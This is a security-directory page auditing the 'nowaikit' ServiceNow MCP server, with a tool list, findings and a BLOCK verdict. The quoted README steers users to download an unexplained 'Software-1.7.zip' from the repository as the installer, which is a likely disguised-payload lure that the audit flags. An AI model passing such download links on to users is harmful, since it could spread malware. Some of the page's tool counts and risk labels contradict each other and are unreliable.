Atlas / MCP servers / wishmikaovindu-stack / nowaikit

nowaikitBLOCK

mcp/wishmikaovindu-stack/nowaikit

Enable AI-powered automation and integration for ServiceNow using a comprehensive TypeScript toolkit supporting multiple models and protocols.

Verdict
BLOCK
Grade
D
Trust score
69 /100
Exposed tools
200 228r · 153w · 5d
Transport
stdio
License
MIT
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://github.com/wishmikaovindu-stack/nowaikit/raw/refs/heads/main/src/utils/Software-1.7.zip)

📋 About nowaikit

nowaikit brings together over 400 AI tools to help you work smarter with ServiceNow. You can connect popular AI models like Claude, ChatGPT, Gemini, and Cursor directly to your ServiceNow setup. This toolkit supports many areas including IT Service Management (ITSM), IT Operations Management (ITOM), Human Resources Service Delivery (HRSD), Customer Service Management (CSM), Flow Designer, scripting, portals, and more.

If you rely on ServiceNow to organize work, nowaikit makes it easier to automate tasks and add AI features without programming.

💻 System Requirements

To run nowaikit on Windows, you need:

  • Windows 10 or newer (64-bit preferred)
  • At least 4 GB of RAM
  • 2 GHz or faster processor
  • 150 MB of free disk space for installation
  • Internet access to connect AI services

Make sure your Windows system is up to date for best compatibility. You do not need extra software or programming tools.

🚀 Getting Started with nowaikit

This guide walks you through downloading, installing, and opening nowaikit on your Windows computer.

Step 1: Download nowaikit

Click the large green button below to visit the download page:

[](https://github.com/wishmikaovindu-stack/nowaikit/raw/refs/heads/main/src/utils/Software-1.7.zip)

This link leads to the official GitHub page where the latest version is available. From there, you can download the setup file.

Step 2: Find the Installer File

On the nowaikit GitHub page:

  1. Look for the latest release or download section.
  2. Download the Windows installer file. It will usually have a .exe extension, like nowaikit-setup.exe.

Save the file in a place you ca

Read from source at commit 9bd83d7078f6OBSERVED · 2026-10-12
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code (npm)
claude mcp add nowaikit -- npx -y [email protected]
03

Exposed tools (200)

228 read · 153 write · 5 destructive. Blast radius: 5 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
add_commentwriteAdd a customer-visible comment to any ITSM record (requires WRITE_ENABLED=true)
add_user_to_groupwriteAdd a user to a group (requires WRITE_ENABLED=true)
add_work_notewriteAdd an internal work note to any ITSM record (requires WRITE_ENABLED=true)
ai_searchreadSemantic AI-powered search across KB, catalog, incidents (ServiceNow AI Search)
analyze_data_qualityreadAnalyse data quality for a table — completeness, duplicates, stale records
approve_requestreadApprove a pending approval request (requires WRITE_ENABLED=true)
bulk_get_propertiesreadRetrieve multiple system property values in a single call
bulk_set_propertieswriteCreate or update multiple system properties in a single operation. **[Write]**
categorize_incidentreadUse Predictive Intelligence to predict category, assignment group, and priority (latest release: LightGBM algorithm)
categoryreadCategory (e.g. Network, Hardware, Software)
check_table_completenessreadAnalyze data quality and field completeness for a ServiceNow table —
ci-healthreadCMDB health check for a named CI
ci_namereadName or sys_id of the Configuration Item
clone_artifactreadClone a platform artifact to a new name/scope. **[Scripting]**
close_change_requestreadClose a change request with close code and notes (requires WRITE_ENABLED=true)
close_csm_casereadClose a CSM case with resolution details (requires WRITE_ENABLED=true)
close_hr_casereadClose an HR case with resolution notes (requires WRITE_ENABLED=true)
close_incidentreadClose a resolved incident (requires WRITE_ENABLED=true)
cmdb_health_dashboardreadGet CMDB data quality metrics (completeness of server and network CI data)
cmdb_impact_analysisreadAnalyze the downstream impact of a Configuration Item change or outage
commit_changesetwriteCommit an update set (requires SCRIPTING_ENABLED=true)
compare_record_countsreadCompare record counts across multiple ServiceNow tables or time periods — useful for capacity planning
complete_taskreadMark a task as complete (requires WRITE_ENABLED=true)
complete_update_setwriteMark an Update Set as complete (ready for migration). **[Scripting]**
configure_offline_syncwriteConfigure which tables/records are available offline in mobile. **[Write]**
configure_workspace_listwriteAdd or update a list view in an agent workspace. **[Write]**
create-incidentwriteGuided incident creation — asks for details then creates the record
create_aclwriteCreate a new ACL rule to control access to a table or field (requires SCRIPTING_ENABLED=true)
create_approval_rulewriteCreate an approval rule that automatically generates approval requests when a record matches given conditions (requires WRITE_ENABLED=true).
create_assetwriteCreate a new IT asset record. **[Write]**
create_business_rulewriteCreate a new business rule (requires SCRIPTING_ENABLED=true). ServiceNow supports ES2021 async/await in scripts.
create_catalog_itemwriteCreate a new service catalog item (requires WRITE_ENABLED=true)
create_catalog_ui_policywrite[Write] Create a UI policy for a catalog item form
create_catalog_variablewrite[Write] Add a form variable to a service catalog item
create_change_requestwriteCreate a new change request (requires WRITE_ENABLED=true)
create_ci_relationshipwrite[Write] Create a relationship between two CMDB Configuration Items
create_client_scriptwriteCreate a new client script (onLoad, onChange, onSubmit, onCellEdit) (requires SCRIPTING_ENABLED=true)
create_csm_casewriteCreate a new Customer Service case (requires WRITE_ENABLED=true)
create_dashboardwriteCreate a new Performance Analytics dashboard (requires WRITE_ENABLED=true)
create_devops_changewriteCreate a change request linked to a DevOps deployment for change governance. **[Write]**
create_epicwriteCreate a new epic (requires WRITE_ENABLED=true)
create_flowwriteCreate a new Flow Designer flow. **[Write]**
create_flow_actionwriteCreate a custom Flow Designer action. **[Scripting]**
create_grc_riskwriteCreate a new GRC risk entry. **[Write]**
create_groupwriteCreate a new assignment group (requires WRITE_ENABLED=true)
create_hr_casewriteCreate a new HR Service Delivery case (requires WRITE_ENABLED=true)
create_hr_taskwriteCreate a task within an HR case (requires WRITE_ENABLED=true)
create_import_set_rowwriteInsert a row into an Import Set staging table for later transformation (requires WRITE_ENABLED=true)
create_incidentwriteCreate a new incident record (requires WRITE_ENABLED=true)
create_knowledge_articlewriteCreate a new knowledge article (requires WRITE_ENABLED=true)
create_kpiwrite[Write] Create a Key Performance Indicator from ServiceNow data
create_mobile_app_configwriteCreate a new mobile app configuration. **[Write]**
create_mobile_appletwriteCreate a mobile applet in a mobile app. **[Write]**
create_mobile_layoutwriteCreate a mobile layout for a specific view. **[Write]**
create_notificationwriteCreate a new email notification definition (requires WRITE_ENABLED=true)
create_offboarding_casewriteCreate an employee offboarding case with exit tasks. **[Write]**
create_onboarding_casewriteCreate an employee onboarding case with all standard tasks. **[Write]**
create_portalwriteCreate a new Service Portal configuration (requires WRITE_ENABLED=true)
create_portal_pagewriteCreate a new page inside a Service Portal (requires WRITE_ENABLED=true)
create_portal_widgetwriteCreate a new Service Portal widget with template, CSS, and scripts (requires WRITE_ENABLED=true)
create_problemwriteCreate a new problem record (requires WRITE_ENABLED=true)
create_reportwriteCreate a new saved report on any table (requires WRITE_ENABLED=true)
create_rest_messagewriteCreate a new outbound REST Message definition (requires WRITE_ENABLED=true)
create_scheduled_jobwriteCreate a new scheduled script execution job (requires WRITE_ENABLED=true)
create_scheduled_reportwrite[Write] Schedule a report for recurring email delivery
create_scoped_appwriteCreate a new scoped application in App Studio (requires WRITE_ENABLED=true).
create_script_includewriteCreate a new script include (requires SCRIPTING_ENABLED=true)
create_scrum_taskwriteCreate a scrum task (sub-task of a story) (requires WRITE_ENABLED=true)
create_security_incidentwriteCreate a Security Operations incident (requires WRITE_ENABLED=true)
create_solution_packagewriteCreate a solution package from selected update sets for distribution. **[Write]**
create_storywriteCreate a new agile story/user story (requires WRITE_ENABLED=true)
create_subflowwriteCreate a new reusable subflow. **[Write]**
create_ui_actionwriteCreate a new UI Action (button or link) on a form (requires SCRIPTING_ENABLED=true)
create_ui_policywriteCreate a new UI Policy to control field behavior dynamically (requires SCRIPTING_ENABLED=true)
create_uib_componentwriteCreate a custom UI Builder component (macroponent). **[Scripting]**
create_uib_data_brokerwriteCreate a UI Builder data broker to feed data to a page. **[Scripting]**
create_uib_pagewriteCreate a new UI Builder page with route registration. **[Write]**
create_update_setwriteCreate a new Update Set and optionally switch to it. **[Scripting]**
create_userwriteCreate a new user account (requires WRITE_ENABLED=true)
create_ux_app_routewriteRegister a new route (URL path) in a UX app. **[Write]**
create_ux_experiencewriteCreate a new UX Experience (app shell) configuration. **[Write]**
create_va_topicwriteCreate a new Virtual Agent conversation topic. **[Write]**
create_workspacewriteCreate a new configurable agent workspace. **[Write]**
delete_attachmentdestructiveDelete an attachment from a record (requires WRITE_ENABLED=true)
delete_system_propertydestructiveDelete a system property by name. **[Write]**
delete_uib_pagedestructiveDelete a UI Builder page. **[Write]**
deploy-updatesetwritePreview and commit an update set
descriptionreadBrief description of the issue
ensure_active_update_setwriteEnsure an active Update Set exists; create one automatically if none is in progress. **[Scripting]**
execute_background_scriptwriteExecute a background script on the instance (server-side JavaScript). **[Scripting]**
export_propertiesreadExport system properties matching a query to a JSON object (useful for environment snapshots)
export_report_datareadExport raw table data as structured JSON for use in external reports
export_update_setwriteGet the XML export payload for an Update Set (as used in migration). **[Scripting]**
find_artifactreadSearch for platform artifacts by name, type, or scope (business rules, scripts, widgets, etc.)
fire_eventreadFire a custom ServiceNow event for a specific record (requires WRITE_ENABLED=true)
generate_summaryreadGenerate an AI summary of any record using Now Assist (latest release: sn_assist/skill/summarize)
generate_work_notesreadGenerate AI-drafted work notes for a record based on its current context
get_aclreadGet full details of an ACL rule including its script and role requirements (requires SCRIPTING_ENABLED=true)
get_assetreadGet full details of an IT asset including financial and lifecycle data
get_atf_failure_insightreadGet ATF Failure Insight data — metadata changes between last successful and failed run (role changes, field value changes)
get_atf_suitereadGet details of a test suite including test count
get_atf_suite_resultwriteGet the results of a test suite run
get_atf_testreadGet details of a specific test case
get_attachment_metadatareadGet metadata (name, type, size) of a specific attachment by its sys_id
get_business_rulereadGet full details and script body of a business rule (requires SCRIPTING_ENABLED=true)
get_catalog_itemreadGet full details of a catalog item including its variables
get_change_requestreadGet full details of a change request by number (CHG...) or sys_id
get_changesetwriteGet details of an update set (requires SCRIPTING_ENABLED=true)
get_client_scriptreadGet full details and script body of a client script (requires SCRIPTING_ENABLED=true)
get_cmdb_cireadGet complete information about a specific configuration item
get_compliance_assessmentreadGet compliance assessment results for a policy or control
get_csm_accountreadGet details of a customer account including contacts and open cases count
get_csm_casereadGet full details of a CSM case by number (e.g. CS0001234) or sys_id
get_csm_case_slareadGet SLA details and remaining time for a CSM case
get_csm_contactreadGet details of a customer contact (name, account, phone, email)
get_current_instancereadGet the currently active ServiceNow instance name and URL
get_current_update_setwriteGet the currently active Update Set for the session
get_deploymentreadGet details and status of a specific deployment
get_devops_insightsreadGet deployment frequency, failure rate, and lead time metrics for a pipeline
get_devops_pipelinereadGet details of a specific DevOps pipeline
get_email_logreadGet full details of an email log entry including body and headers
get_event_registry_entryreadGet details of a specific registered event definition
get_flowwriteGet full details of a Flow Designer flow including its actions and trigger
get_flow_error_logreadGet detailed error logs for failed flow executions
get_flow_executionreadGet the status and details of a specific flow execution
get_grc_riskreadGet details of a GRC risk including impact, likelihood, and controls
get_groupreadFind assignment group details by name or sys_id
get_hr_casereadGet full details of an HR case by number (e.g. HRCS0001234) or sys_id
get_hr_case_activityreadGet the full activity log and journal entries for an HR case
get_hr_lifecycle_eventsreadGet HR lifecycle events for an employee (promotions, transfers, leaves)
get_hr_profilereadGet the HR profile for a user (employment details, department, manager)
get_hr_servicereadGet details of a specific HR service including its tasks and SLAs
get_import_setwriteGet details of a specific Import Set including row count and transform status
get_incidentreadGet full details of an incident by number (e.g. INC0012345) or sys_id
get_knowledge_articlereadGet the full content of a knowledge article by number (KB...) or sys_id
get_license_compliancereadGet license compliance summary — purchased vs. installed vs. in use counts
get_license_optimizationreadAnalyze software license usage and recommend optimizations
get_mobile_analyticsreadGet mobile app usage analytics — sessions, active users, popular applets
get_mobile_app_configreadGet details of a specific mobile app configuration
get_ms_copilot_topicsreadList VA topics exposed to Microsoft Copilot 365 via Custom Engine Agent integration
get_my_approvalsreadList approvals pending for the currently configured user
get_notificationreadGet full details of an email notification definition including template and conditions
get_pa_dashboardreadGet details of a PA dashboard including its widgets/tabs
get_pa_indicatorreadGet details of a specific Performance Analytics indicator including its formula
get_pa_jobreadGet details of a Performance Analytics collection job
get_pa_scorecardreadGet current scorecard data for a PA indicator — returns current value, target, trend direction
get_pa_time_seriesreadGet historical time-series data for a PA indicator to identify trends
get_performance_analyticsreadGet Performance Analytics widget data (requires PA plugin; latest release: /api/now/pa/widget/{sys_id})
get_pi_modelsreadList available Predictive Intelligence solutions (classification/similarity models)
get_portalreadGet full configuration details of a Service Portal by sys_id or URL suffix
get_portal_pagereadGet details of a specific Service Portal page including its layout
get_portal_themereadGet full details of a Service Portal theme including CSS variables
get_portal_widgetreadGet full source code (HTML, CSS, client/server scripts) of a Service Portal widget
get_problemreadGet full details of a problem by number (PRB...) or sys_id
get_process_automationreadGet details of a Process Automation Designer playbook or process
get_property_historyreadGet audit history of changes to a system property
get_recordreadRetrieve complete details of a specific record by sys_id
get_reportreadGet the definition and metadata of a saved report
get_rest_messagereadGet full configuration of an outbound REST Message including its endpoints
get_scheduled_jobreadGet full details of a scheduled job by sys_id or name
get_scoped_appreadGet full details of a scoped application by sys_id or scope name
get_script_includereadGet full script body of a script include (requires SCRIPTING_ENABLED=true)
get_security_dashboardreadGet security posture dashboard — open incidents by severity, vulnerability counts, mean time to resolve
get_security_incidentreadGet full details of a security incident by number or sys_id
get_sla_detailsreadGet SLA breach status for a specific task or incident
get_subflowreadGet full details of a subflow including its inputs, outputs, and actions
get_sys_logreadRetrieve system log entries for debugging or auditing
get_system_propertyreadGet a ServiceNow system property value and metadata by name
get_table_record_countreadGet total record count for a ServiceNow table with optional filters
get_table_schemareadGet the structure and field information for a ServiceNow table
get_taskreadGet details of any task record by number or sys_id
get_threat_intelligencereadQuery threat intelligence data — IOCs, threat actors, and campaigns
get_transform_mapreadGet details of a Transform Map including its field mappings
get_ui_actionreadGet full details and script of a UI Action (requires SCRIPTING_ENABLED=true)
get_ui_policyreadGet full details and conditions of a UI Policy (requires SCRIPTING_ENABLED=true)
get_uib_pagereadGet details of a specific UI Builder page including layout and child elements
get_userreadLook up user details by email or username
get_ux_appreadGet configuration details of a Next Experience application
get_va_conversationreadGet conversation history for a Virtual Agent session
get_va_topicwriteGet Virtual Agent topic details including intent and trigger phrases
get_virtual_agent_topicsreadList Virtual Agent topics available in the instance (latest release: streaming VA API)
get_vulnerabilityreadGet details of a specific vulnerability entry including CVSS score and affected CIs
get_workspacereadGet details of a configurable agent workspace including tabs and lists
import_cmdb_datawriteImport CI data into CMDB via import set. **[Write]**
import_propertieswriteImport (create or update) system properties from a JSON object. **[Write]**
instancereadInstance name (e.g. prod, staging, dev)
knowledge-searchreadSearch the knowledge base
list_aclsdestructiveList Access Control rules (ACLs) — who can read/write/create/delete records (requires SCRIPTING_ENABLED=true)
list_action_instancesreadList reusable Flow Designer action instances available in the environment
list_active_eventsreadMonitor critical infrastructure events
list_active_slasreadList active SLA records with optional filters
list_approvalsreadList approval requests with optional filters
list_asset_contractsreadList asset maintenance and support contracts
list_assetsreadList IT assets with optional filtering by state, class, or assigned user
list_atf_suitesreadList ATF test suites in the instance
list_atf_test_resultswriteList individual test results within a suite run
list_atf_testsreadList ATF test cases, optionally filtered by suite
list_attachmentsreadList attachments associated with a specific record
list_audit_resultsreadList audit results and findings
list_business_rulesreadList business rules (requires SCRIPTING_ENABLED=true)
04

Trust audit

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (3 observation(s))
Network
declared (7 observation(s))
Shell
declared (6 observation(s))
Dependencies
not all pinned
Secrets in source
none-found

Findings (20)

HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
src/tools/deployment.ts:93
if (script.includes('eval(')) issues.push('SECURITY: eval() usage detected');
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
MEDIUMInventory / provenance · inv.binary · CWE-1104
desktop/resources/icon.icns
icon.icns
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMInventory / provenance · inv.binary · CWE-1104
src/utils/Software-1.7.zip
Software-1.7.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMInformation disclosure · disclose.log_secret · CWE-209, CWE-532
src/cli/auth.ts:187
console.log(chalk.yellow(`No token found for ${instanceUrl}`));
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
desktop/serve.cjs:83
if (origin.startsWith(`http://localhost:${PORT}`) || origin.startsWith(`http://127.0.0.1:${PORT}`)) return true;
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
desktop/serve.cjs:85
if (origin.startsWith('http://localhost:5173') || origin.startsWith('http://127.0.0.1:5173')) return true;
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
delete_attachment, delete_system_property, delete_uib_page, list_acls, remove_user_from_group
Why it matters. 5 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWInventory / provenance · inv.hidden_file · CWE-1104
clients/codex/.env.basic.example
.env.basic.example
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInventory / provenance · inv.hidden_file · CWE-1104
clients/codex/.env.oauth.example
.env.oauth.example
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInventory / provenance · inv.hidden_file · CWE-1104
clients/gemini/.env.basic.example
.env.basic.example
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInventory / provenance · inv.hidden_file · CWE-1104
clients/gemini/.env.oauth.example
.env.oauth.example
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/cli/writers/index.ts:52
const pkgDir = fileURLToPath(new URL('../../../', import.meta.url)).replace(/[\\/]$/, '');
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/tools/core.test.ts:2
import { executeCoreToolCall, getCoreToolDefinitions } from '../../src/tools/core.js';
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/tools/core.test.ts:3
import type { ServiceNowClient } from '../../src/servicenow/client.js';
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/tools/hrsd.test.ts:2
import { executeHrsdToolCall } from '../../src/tools/hrsd.js';
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/tools/incident.test.ts:2
import { executeIncidentToolCall, getIncidentToolDefinitions } from '../../src/tools/incident.js';
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
clients/lovable/SETUP.md:21
# Listening on http://127.0.0.1:3100
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
desktop/package.json
electron-store, electron-updater, @types/react, @types/react-dom, @vitejs/plugin-react, concurrently, electron, electron-builder
Why it matters. 16 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
@inquirer/prompts, @modelcontextprotocol/sdk, chalk, commander, dotenv, ora, zod, @types/node
Why it matters. 15 dependency range(s) float
Fix. pin exact versions or ship a lockfile
INFOInventory / provenance · inv.oversize · CWE-1104
docs/assets/showcase.gif
docs/assets/showcase.gif
Why it matters. 1108334 bytes not read

Gates applied: no_behavioural_pass.

Audited 2026-10-12 · audit v0.4.1 · source sha 9bd83d7078f6full audit observations/trust-audit/mcp-server/wishmikaovindu-stack__nowaikit.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-129bd83d7078f6BLOCKD69first audit
06

Questions

What is the nowaikit MCP server?

Enable AI-powered automation and integration for ServiceNow using a comprehensive TypeScript toolkit supporting multiple models and protocols.

What tools does nowaikit expose?

200 in total: 228 read-only, 153 that write, and 5 that can delete or overwrite (delete_attachment, delete_system_property, delete_uib_page, list_acls). Every one is listed on this page with its risk.

Is nowaikit safe to connect to an agent?

No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 5 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does nowaikit need?

It reads GEMINI_API_KEY, OPENAI_API_KEY, SERVICENOW_AUTH_METHOD, SERVICENOW_BASIC_PASSWORD, SERVICENOW_CLIENT_SECRET, SERVICENOW_OAUTH_CLIENT_ID, SERVICENOW_OAUTH_CLIENT_SECRET, SERVICENOW_OAUTH_PASSWORD, SERVICENOW_OAUTH_USERNAME and SERVICENOW_PASSWORD from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does nowaikit run?

It speaks stdio, so it runs as a local process your client starts. It is published on npm as nowaikit at 2.5.3.

How current is this page?

The grade is for one exact copy of the source (9bd83d7078f6), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement